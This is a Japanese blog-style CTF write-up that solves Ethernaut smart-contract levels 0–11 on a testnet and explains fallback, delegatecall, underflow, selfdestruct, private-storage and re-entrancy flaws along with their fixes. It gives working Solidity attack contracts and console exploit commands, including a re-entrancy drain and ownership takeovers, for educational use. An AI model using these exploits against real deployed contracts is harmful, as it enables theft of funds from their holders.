スマートコントラクトの脆弱性を学べるEthernautをやってみた

# Ethernautって？
スマートコントラクトの脆弱性を実戦的に学べるサイトです。
https://ethernaut.zeppelin.solutions/

[OpenZeppelin](https://openzeppelin.org/)を作っている団体ですね。
[CryptoZombie](https://cryptozombies.io/)が終わったどうしよー って人はやってみてもいいかもしれません。



# 事前準備
Ethernautでも説明されますが、今回は以下を使いました

- Meta Maskのインストール
- アカウントの作成
- [truffle](http://truffleframework.com/)
- [Visual Studio Code](http://truffleframework.com/tutorials/configuring-visual-studio-code)（あれば便利）

# Ethernautの解き方
Ethernautは「**Get new Instancce**」ボタンを押すとRopsten上に自動的にコントラクトがデプロイされます。
基本的にはこのコントラクトを攻撃します。解き方は主に２種類です。

- Chromeの**検証>Console**から用意されているコマンドで攻撃
- 自身でコントラクトをデプロイして、コントラクト経由で攻撃

11問解いてみました

# 0.Hello Ethernaut
これはチュートリアルなので脆弱性とはあまり関係ないです。
脱出ゲームの要領で指示が次々と表示されます。

### 解答例

```
await contract.info();
await contract.info1();
await contract.info2("hello");
await contract.infoNum();
await contract.info42();
await contract.theMethodName();
await contract.method7123949();
await contract.password;
await contract.authenticate("ethernaut0");
```

最後に**Submit Instance**を押して、カラフルな出力がいっぱい出たらおしまいです。

# 1.Fallback
コントラクトの所有者になるためにフォールバック関数のrequireの条件をtrueにします。

### 解答例

```
await contract.contribute({value:1});
await contract.getContribution();
await sendTransaction({to:contract.address, value:1});
await contract.owner.call();
player;
await contract.withdraw();
await getBalance(contract.address);
```


1行目：1eth送ります。この時はmsg.dataがあるのでフォールバック関数は呼び出されません
2行目：cの値が1なのでcontributionsに登録されたことがわかります
3行目：Ethernautのユーティリティを使って1eth送ります
4-5行目：コントラクトのownerになれたか確認します。これはOpenZeppelinの[owner](https://github.com/OpenZeppelin/zeppelin-solidity/blob/v1.8.0/contracts/ownership/Ownable.sol#L10)を見ています
6行目：全額引き出します
7行目：0になっていればOK

フォールバック関数の仕様などは以下を参照してみてください。
[Fallback Function](http://solidity.readthedocs.io/en/v0.4.21/contracts.html#fallback-function)
[fallback関数をシンプルに保つ](https://msykd.github.io/smart-contract-best-practices/recommendations/#fallback)


# 2.Fallout
コンストラクタと関数の間違い探しですね。

### 解答例

```
await contract.Fal1out();
await contract.owner.call();
```

1行目：FalloutとすべきところをFal1outになっており、関数になってしまっています
2行目：自分がownerになっているか確認します

Rubixiが社名変更によって、リファクタリングを漏らした事件があったそうです。[^1]

Solidityの0.4.23から記述方法が変わりましたので、そちらを使用します

```
contract Fallout is Ownable {
    constructor() public payable {
        // ...
    }
}
```

https://qiita.com/sot528/items/50548945325a0e63fe22


# 3.Coin Flip
block.numberやblockHashは乱数ではないので先読みされると結果がわかります。

>ここ以降はRopstenネットワークにコントラクトをデプロイしなければ解けない問題があります。
詳しくは[参考：コントラクトの作成〜デプロイまで](#参考コントラクトの作成デプロイまで)を参照してください

### 解答例

CoinFlipのflip関数をそのまま実装しflip関数を呼び出します。
同じブロックハッシュを使用することになり結果が求められます。


```lang:AttackCoinFlip.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";

contract CoinFlip {
    function flip(bool _guess) public returns (bool);
}

contract AttackCoinFlip is Ownable {

    uint256 lastHash;
    
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function cheatFlip(address _targetAddress) external onlyOwner {
        uint256 blockValue = uint256(block.blockhash(block.number-1));
        
        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
        bool side = coinFlip == 1 ? true : false;
        
        CoinFlip targetCoinFlip = CoinFlip(_targetAddress);
        targetCoinFlip.flip(side);
    }
}
```

なお、ここで定義したCoinFlipは抽象的なコントラクトです。
デプロイ済みのアドレスを指定することで、実現関係になくとも対象のflip関数を呼び出せます。[^2]


migrationファイルを作成（以降の問題では省略）

```lang:2_initial_attack_coin_flip.js
var CoinFlip = artifacts.require("./AttackCoinFlip.sol");

module.exports = function(deployer) {
  deployer.deploy(CoinFlip);
};

```

以下を10回繰り返します。

```lang:truffleコマンド
AttackCoinFlip.deployed().then(function(instance){return instance.cheatFlip(COIN_FLIP_ADDRESS)});
```


最後に10連勝の確認

```lang:Ethernaut
await contract.consecutiveWins.call();
```


# 4.Telephone
tx.originとmsg.senderが一致しないケースを考えます。
※もし**Get new Instance**に失敗する場合は、Gas Limitを増やしてみてください。

### 解答例

コントラクトから関数を呼び出すと`tx.origin`と`msg.sender`が異なります。[^3]

```lang:AttackTelephone.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";

contract Telephone {
    function changeOwner(address _owner) public;
}

contract AttackTelephone is Ownable {

    function attackChangeOwner(address _telephoneAddress, address _newOwner) external onlyOwner {
        Telephone telephone = Telephone(_telephoneAddress);
        telephone.changeOwner(_newOwner);
    }

}
```

attackChangeOwnerの呼び出し

```lang:truffleコマンド
AttackTelephone.deployed().then(function(instance){return instance.attackChangeOwner(TELEPHONE_ADDRESS, PLAYER_ADDRESS)});
```

Ownerの確認

```lang:Ethernaut
await contract.owner.call();
```


# 5.Token
加算・減算のオーバフローかアンダーフローのチェックがないのでそこを突きます

### 解答例

```
await contract.balanceOf(player);
await contract.transfer(contract.address, 21);
```

1行目：所持しているトークンを確認します
2行目：所持しているトークン+1を引数に設定することでアンダーフローを引き起こす

totalSupplyよりも多くのトークンが発行されてしまいました。
オーバフロー、アンダーフローの原因になるので、[SafeMath](https://openzeppelin.org/api/docs/math_SafeMath.html)を使うと良いようです。


# 6.Delegation
delegatecallを利用してpwnを呼び出し、ownerになります

### 解答例

```lang:truffleコマンド
await contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
```

delegatecallにより、player→Delegation→Detlegateで呼び出されます。msg.senderはplayerです。
msg.dataは関数の署名を含めることで、関数を呼び出せます。[^4]
[Parity](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7)の事例ではこの脆弱性を突かれたのだそうです。

# 7.Force
payableな関数持たないコントラクトにEtherを強制的に送りつけます

## 解答例

selfdestructは対象のコントラクトに強制的にEthを送りつけることができます。
これを回避する方法はないので、`balance==0`の仮定はNGです。

```lang:AttackForce.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract AttackForce is Ownable {

    function() external payable {
        
    }

    function kill(address _targetAddress) external onlyOwner {
        selfdestruct(_targetAddress);
    }

}

```

デプロイしたコントラクトに1Eth送ります。

```lang:truffle
AttackForce.deployed().then(function(instance){return instance.sendTransaction({value :1})});
```

Forceコントラクトにselfdestructを通じてEthを送ります。

```lang:truffle
AttackForce.deployed().then(function(instance){return instance.kill(FORCE_CONTRACT_ADDRESS)});
```

コントラクトのEthを確認します。

```lang:Ethernaut
await getBalance(contract.address); 
```


# 8.Vault
privateな状態変数であったとしても、中身を見る方法があるお話。

### 解答例

`web3.eth.getStorageAt`を使えば見ることができます。
今回はjavascriptで作りました。truffleの[pet-shop](http://truffleframework.com/tutorials/pet-shop)を流用したのでコア部分以外は省略します。

```javascript:app.js
    showPassword: function (contractAddress, position) {
        web3.eth.getStorageAt(contractAddress, position)
            .then(function (hexPassword) {
                var password = web3.utils.hexToAscii(hexPassword);
                console.log(password);
            });
    },
```

参考：ropstenに接続する方法

```javascript:app.js
App.web3Provider = new Web3.providers.HttpProvider('https://ropsten.infura.io/');
web3 = new Web3(App.web3Provider);

```

showPasswordの呼び出し。

```javascript:app.js
App.showPassword(CONTRACT_ADDRESS, 1);
```

「A very strong secret password :)」が表示されます。


```lang:Ethernaut
await contract.unlock('A very strong secret password :)');
```

`locked`がfalseになったか確認

```lang:Ethernaut
await contract.locked.call();
> false
```


# 9.King

送金を失敗させて`king`に新しい`msg.sender`が代入されないようにします。

### 解答例

KingコントラクトにEthを送る関数のみ定義しました。
一方でこのコントラクトへの送金は失敗するように、payableなフォールバック関数は意図的に定義していません。

```
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract AttackKing is Ownable {

    // function() external payable {}

    function attackKing(address _targetAddress) external payable onlyOwner {
        _targetAddress.call.value(msg.value)();
    }

}
```

今回は`targetAddress.call.value()()`を使用しています。
`transfer`は2300のgas上限（上限の変更不可）があるので今回は使用できません。
(Kingのフォールバック関数が状態変数に書き込む処理などを行っているためoutofgas例外が発生します)

`prize`を確認します。

```lang:Ethernaut
await contract.prize.call();
```

prize以上(1Eth)を送ってkingになります。
（以上って処理はなんだか変ですが…）

```lang:truffle
AttackKing.deployed().then(function(instance){return instance.attackKing(CONTRACT_ADDRESS, {value:1000000000000000000})});
```

kingを確認します。

```lang:Ethernaut
await contract.prize.king();
```

metamaskなどで別アカウントから、`King`コントラクトに送金しても失敗します。


King of the Etherの事例

# 10.Re-entrancy

`targetAddress.call.value(hoge)()`はリエントラントに対して安全でない話（ガスの上限が`transfer`に比べて高いため）[^5]

### 解答例

`Reentrance`の`donate`と`withdraw`を呼び出して一旦ethを預けて引き出します。
引き出す際にフォールバック関数が呼び出されるので、再度`withdraw`を呼び出し、ethがなくなるまで引き出し続けます。
`transferEther`はOwnerがethを受け取ります。今回は使用しなくても良いです。

```lang:AttackReentrance.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract Reentrance {

    function donate(address _to) public payable;

    function withdraw(uint _amount) public;

}


contract AttackReentrance is Ownable {

    Reentrance private reentrance;

    function() public payable {
        reentrance.withdraw(0.1 ether);
    }

    function attackReentrance(address _targetAddress) external payable onlyOwner {
        reentrance = Reentrance(_targetAddress);
        reentrance.donate(address(this));
        reentrance.withdraw(msg.value);
    }

    function transferEther() external onlyOwner {
        owner.transfer(address(this).balance);
    }

}
```

0.1 ethを預けて引き出します。

```lang:truffle
AttackReentrance.deployed().then(function(instance){return instance.attackReentrance(CONTRACT_ADDRESS, {value:100000000000000000})});
```

balanceが0になったことを確認します。

```lang:Ethernaut
await getBalance(contract.address);
>0
```

[The DAO事件](https://www.reddit.com/r/ethereum/comments/4oi2ta/i_think_thedao_is_getting_drained_right_now/)はこの脆弱性を突かれました。

先にsenderの残高を減らして、ethのやり取りを行うことで回避できます。
使ったことはないですが、OpenZeppelinにはリエントラントを防ぐ[ReentrancyGuard](https://openzeppelin.org/api/docs/ReentrancyGuard.html)というのもあるようです。

# 11.Elevator

抽象的なコントラクトの制約の甘さを利用して、`top==true`にします。

### 解答例

最初の呼び出し時は`false`、二度目の呼び出し時に`true`にします。
`Building.isLastFloor`関数は`view`がついているので状態変数にはアクセスできないのですが、省略しても現状は呼び出せてしまうようです。
`isLastFloor`をスイッチする処理を書きます。

```lang:AttackElevator.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract Elevator {
    function goTo(uint) public;
}


contract AttackElevator is Ownable {

    bool public isLast = true;

    function attackElevator(address _elevatorAddress, uint _floor) external onlyOwner {
        Elevator elevator =  Elevator(_elevatorAddress);
        elevator.goTo(_floor);
    }

    function isLastFloor(uint) public returns (bool) {
        isLast = !isLast;
        return isLast;
    }

}
```

継承せずに抽象コントラクトを扱うので少し複雑に見えますが、`goTo`関数では呼び出し元（`AttackElevator`）が`Building`として振る舞います。

attackElevatorを呼び出します。

```lang:truffle
AttackElevator.deployed().then(function(instance){return instance.attackElevator(CONTRACT_ADDRESS, 10)});
```

topがtrueになったことを確認します。

```lang:Ethernaut
await contract.top.call();
```

# まとめ
正直なかなか難しかったです。何もなしに解くことは多分できなかったですね…
脆弱性だけでなく副産物としてデプロイ、Solidityの仕様もかなり学べました。
ほんと素晴らしいコンテンツ…！
新しい問題も随時追加されるかもしれないので、今後もぜひ注目していきましょう。

## 参考：コントラクトの作成〜デプロイまで
こちらを参考にしてます
 [USING INFURA (OR A CUSTOM PROVIDER)](http://truffleframework.com/tutorials/using-infura-custom-provider)

### INFURAに登録
[INFURA](https://infura.io/)に登録して、ノードのURLをもらいます

### プロジェクトの作成


```
truffle init
npm init
npm install truffle-hdwallet-provider
npm install --save--exact zeppelin-solidity
```

`npm init`で`truffle-config.js`を`truffle.js`に変えました。
zeppelin-solidityは任意です。

### truffle.configの修正

```
var HDWalletProvider = require("truffle-hdwallet-provider");

var infura_apikey = "API_KEY";
var mnemonic = "hoge hoge hoge hoge";

module.exports = {
  // See <https://ethereum.stackexchange.com/questions/23279/steps-to-deploy-a-contract-using-metamask-and-truffle>
  networks: {
    development: {
      host: "localhost",
      port: 7545,
      network_id: "*" // Match any network id
    },
    ropsten: {
      provider: new HDWalletProvider(mnemonic, "https://ropsten.infura.io/"+infura_apikey),
      network_id: 3,
      gas: 4700000
    }
  }
};
```

`infura_apikey`と`mnemonic`は置き換えてください。

### コントラクト作成
コントラクトとmigrationのファイルを作ります。


### コントラクトのデプロイ

```
truffle console --network ropsten
migrate --reset
```


### 完成

[etherscan](https://ropsten.etherscan.io/)で確認してください


# 参考サイト
Vitalik氏がこれまで起こった脆弱性についてまとめています
[Thinking About Smart Contract Security](https://blog.ethereum.org/2016/06/19/thinking-smart-contract-security/)

問題の解答例
[スマートコントラクトのCTF Ethernaut](https://keichi.net/post/ethernaut/)
追加問題の解答例
[Solving the Ethernaut Coin Flip, Telephone & Vault challenges (solidity)](https://medium.com/@MisterCh0c/solving-the-ethernaut-coin-flip-telephone-vault-challenges-solidity-41d8659034b4)
Ethernautの解答例
[ethernaut/contracts/attacks/ - Github](https://github.com/OpenZeppelin/ethernaut/tree/master/contracts/attacks)

### 注釈

[^1]: [実際のコントラクト](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code)
[^2]: [what is abstract contracts?](https://ethereum.stackexchange.com/questions/27288/what-is-abstract-contracts)
[^3]: [What's the difference between 'msg.sender' and 'tx.origin'?](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin)
[^4]: [スマートコントラクトのセキュリティ Part 1](https://medium.com/loom-network-japanese/%E3%82%B9%E3%83%9E%E3%83%BC%E3%83%88%E3%82%B3%E3%83%B3%E3%83%88%E3%83%A9%E3%82%AF%E3%83%88%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3-part-1-817472e0fe4e)
[^5]: [send(), transfer(), call.value()()の間のトレードオフに注意する](https://msykd.github.io/smart-contract-best-practices/recommendations/#send-transfer-callvalue)